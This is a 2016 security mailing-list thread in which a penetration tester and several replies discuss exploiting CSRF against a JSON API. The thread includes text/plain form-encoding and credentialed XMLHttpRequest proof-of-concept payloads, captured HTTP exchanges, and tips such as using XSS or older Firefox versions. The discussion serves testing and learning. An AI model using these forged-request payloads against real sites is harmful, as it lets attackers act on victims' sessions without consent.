JSON POST CSRF

1,250 views
Skip to first unread message

geek_ji

unread,
Feb 17, 2016, 8:38:43 AM2/17/16
to null
Hi All, 

Came across a pretty interesting scenario today and would like to open it for discussions and suggestions. So here's the deal :

There is an API end point for doing some state changing action. The server expects all of the following for this endpoint in order to respond with a 200  OK:

1. POST request
2. JSON data
3. Although, developers have not explicitly coded so, (could be that the back end framework is handling it), content-type header as application/json. 
4. Session cookies

There is no anti-csrf protection on this API. So if I hit the API over BURP, the POST request is successful and the action is performed. 
Now to exploit this CSRF, I need to send a request satisfying all of the above conditions. 

My approach so far :

1. Trying to send JSON data through a normal form submit. 
     Here is what I tried :
     
<body>
     
<form action="API endpoint here" method="POST" enctype="text/plain">
     
<input type="hidden" name='{ JSON data here, "ignore_me":"' value='test"}}'/> // have taken care of the trailing '=' in case that's what you're wondering.
     
<input type="submit" value="Submit request" />
     
</form>
     
</body>

    
     Checked the request through BURP. All conditions are being met, EXCEPT condition 3. Because enctype is text/plain, the Content-type header is being sent as text/plain as well, and hence server rejects the request with a 400 BAD REQUEST.      
    As a solution, if I change enctype to applicaiton/json, then the Content-type header is application/json, but then the json data gets URL encoded and hence condition 2 is not met. 
    Result: Real world exploitation seems infeasible through this method. 

2. Trying CORS request to do the above. 
     Here is what I tried :
     
<script type="text/javascript">
     
function loadDoc() {
 
var xhttp = new XMLHttpRequest();
  xhttp
.open("POST", "API end point here", true);
  xhttp
.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  xhttp
.send(JSON.stringify({JSON data here});
}
loadDoc
();
</script>

   Checked the request in BURP again. Because it is JSON data being POSTED, it involves pre-flight. So the first request that gets sent is :
OPTIONS API/End/Point/here HTTP/1.1
Host: theHost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: null
Connection: close

Response is:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Status: 200 OK
Cache-Control: max-age=0, private, must-revalidate
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 1728000
X
-XSS-Protection: 1; mode=block
X
-Request-Id: 3ded8d4a-2706-4f89-9a62-86908b668ed4
Access-Control-Allow-Headers: Authorization, X-Requested-With, X-Prototype-Version, Token, Content-Type
Access-Control-Allow-Methods: POST, GET, PUT, DELETE, OPTIONS
ETag: W/"444bcb3a3fcf8389296c49467f27e1d6"
X
-Frame-Options: SAMEORIGIN
X
-Runtime: 0.013764
X
-Content-Type-Options: nosniff
Date: Wed, 17 Feb 2016 08:14:40 GMT
Set-Cookie: Session_Cookie_Name=sessionCookieValue; path=/; HttpOnly (Not sure if HttpOnly could be the culprit)
X
-Powered-By: application server details here
Server: server details here
Content-Length: 2


ok


And the second request that gets sent is the actual POST request itself: (Note -  session cookies not sent in the request)
POST API/endpoint/here HTTP/1.1
Host: theHost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 214
Origin: null
Connection: close

{THE JSON DATA HERE}

Response is (redirection back to login page, because there was no session cookie included in the request):
HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Connection: close
Status: 302 Found
Cache-Control: no-cache
X
-XSS-Protection: 1; mode=block
X
-Request-Id: a27c9e44-3f5c-4669-9c6c-b48f7f968796
Location: LoginPageOfTheHostHere
X
-Runtime: 0.021738
X
-Frame-Options: SAMEORIGIN
X
-Content-Type-Options: nosniff
Date: Wed, 17 Feb 2016 08:14:40 GMT
Set-Cookie: Session_Cookie=CookieValue; path=/; HttpOnly
X-Powered-By: application server details here
Server: server details here
Content-Length: 105


<html><body>You are being <a href="Login page of the host here">redirected</
a>.</body></html>

So to be able to include cookies I modified the above CORS request to :
<script type="text/javascript">
     
function loadDoc() {
 
var xhttp = new XMLHttpRequest();
  xhttp
.open("POST", "API end point here", true);
  xhttp
.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  xhttp.withCredentials = "true";
  xhttp.send(JSON.stringify({JSON data here});
}
loadDoc
();
</script>

and now the request that gets made is the OPTIONS preflight request alone. The subsequent POST request does not get made at all. If I understand it correctly, I suspect it is so because, the Access-Control-Allow-Origin was set to wildcard (*) for the preflight response and also it did not have the Access-Control-Allow-Credentials set to true (which, given the wildcard, would anyways have not been syntactically correct). I could be totally wrong on this ! However, the deal is, the subsequent, actual POST request was not made. 

Result: Real world exploitation seems infeasible through this method as well. 

Will it be safe to assume, that our system here is ACCIDENTALLY protected against CSRF ?  Is there any other way of still being able to exploit this CSRF ?


HN

unread,
Feb 18, 2016, 10:14:12 AM2/18/16
to null
I had a very similar situation for one of the applications I was testing. 

Approach 1 like you mentioned will not work because the application is looking Content-Type - Application/JSON. I don't think approach 2 also will work because of SOP.

In my case the application was vulnerable to XSS, so I leveraged that and performed the CSRF.

Regards,

Harish Naidu
...

N. V. R. K. RAJU

unread,
Feb 18, 2016, 8:06:47 PM2/18/16
to null-...@googlegroups.com
I had a similar case where in the approach 2 making CORS request didn't work.

The approach 1 using form post worked well. 

In your case I notice an error in your html form, try below corrected version to <input type="hidden" name='{ "JSON data here":"value", "ignore_me":"some vale"}' value="test"/>  and form <form action="API endpoint here" method="POST" enctype="text/json">

It should work

--
______________________________________________________________________________
null - Spreading the right Information
null Mailing list charter: http://null.co.in/section/about/null_list_charter/
______________________________________________________________________________
se7enth edition of nullcon Goa (Mar 9-12, 2016)
http://nullcon.net
---
You received this message because you are subscribed to the Google Groups "null" group.
To unsubscribe from this group and stop receiving emails from it, send an email to null-co-in+...@googlegroups.com.
Visit this group at https://groups.google.com/group/null-co-in.
For more options, visit https://groups.google.com/d/optout.



--
Regards,
Raju

TAS

unread,
Feb 19, 2016, 4:11:43 AM2/19/16
to null-...@googlegroups.com
Hey,

Below are some thoughts that I have. 

CSRF using REST and method is GET or POST is possible. With PUT and DELETE because these have to be fired using an ajax request and your SOP will not allow that unless you are doing it withcredentials.

Usually in an REST service there is an additional header also called as the authorization header. Basis the validity of this header the REST call is processed. However, in multiple instances I have seen where they use the cookie, which makes it prone to CSRF. Your CSRF PoC should have worked seamlessly in absence of strict condition checking that you have mentioned.

Now, if there are custom headers added, that can be done using ajax calls only. And SOP will not allow that unless the origin of the ajax call is the same. So your CORS approach will not work unless your ajax call was triggered from a domain that was allowed by your target application.

I found this resource close enough to implementing stateless CSRF in rest services.

Figure out why the encoded payload is not processed by server, because in my knowledge, first level of URL encoding is always taken care by the server.

I hope that helps

TAS!



--
______________________________________________________________________________
null - Spreading the right Information
null Mailing list charter: http://null.co.in/section/about/null_list_charter/
______________________________________________________________________________
se7enth edition of nullcon Goa (Mar 9-12, 2016)
http://nullcon.net
---
You received this message because you are subscribed to the Google Groups "null" group.
To unsubscribe from this group and stop receiving emails from it, send an email to null-co-in+...@googlegroups.com.
Visit this group at https://groups.google.com/group/null-co-in.
For more options, visit https://groups.google.com/d/optout.

geek_ji

unread,
Feb 19, 2016, 6:26:16 AM2/19/16
to null
Hi Raju, 

Although I would try it, I wonder how would it make a difference by adding the value attribute to the input tag, in case that's the mistake you were pointing out to. My understanding is that it's the form input element's name attribute that we  are concerned about and that's what would be going to the server as a POST param. As long as that reaches the server in the respective format, I think we are good. 

Anyways, I'll give it a shot, and in case that helps, I would certainly be post it here. (Y)

Prasanna Kumar

unread,
Feb 19, 2016, 6:26:16 AM2/19/16
to null-...@googlegroups.com

Can u please drop important techical things I shud know to understand the scenario. I m a beginner in web exploitation

geek_ji

unread,
Feb 19, 2016, 6:26:16 AM2/19/16
to null
Hey Tas, 

I would have expected an Authorization header as well. But for *some reason* it is not in place as of now. As of the condition checks, I had it discussed with my developers. They are not explicitly doing anything to check for the content-type header. My suspicion is it could be ruby taking care of it, but am not sure of that so far. 

In any case, I am not able to the get the CSRF PoC out there ! :(

geek_ji

unread,
Feb 19, 2016, 6:26:16 AM2/19/16
to null
Hi Harish, 

If al all there is an XSS, a CSRF won't really make much sense, right ? I mean, any anti-CSRF mechanism employed will prove useless, if there is an XSS. So leveraging an XSS and showing a CSRF would not be too convincing for the developers. Please correct me if I am missing something here. 

kittu

unread,
Feb 19, 2016, 6:26:19 AM2/19/16
to null
Your analysis looks correct.

Let me reiterate it here...Preflight call (CORS) here is only due to content-type which is set to application/Json. It is fairly enough to say that the complete process accidently serve as mitigation for csrf here (or might be they kept in mind everything while developing this complete flow).

In your specific case the response header Access-Control-Allow-Credentials is not set and also Access-Control-Allow-Origin is not set to specific origin which is a mandatory condition when you use "credentials" header.
If any of the CORS mandatory condition fails browser won't make any further call to server and logs an error in its console. So, check your browser console after this preflight call and you will get an error message there which might give you the reason as well.

Regards,
Ankit Rai

Shinto .. :)

unread,
Feb 19, 2016, 6:26:21 AM2/19/16
to null-...@googlegroups.com
Method  2 will work in older versions of Firefox. Try some versions before Firefox 40.0. 

It was an SOP violation issue in those browsers. They patched only the latest versions. 

Thanks and Regards
________________________________________________
SHINTO K ANTO
Mob: +91-7204325456
@5hint0

kittu

unread,
Feb 21, 2016, 4:27:02 PM2/21/16
to null
Reply all
Reply to author
Forward
0 new messages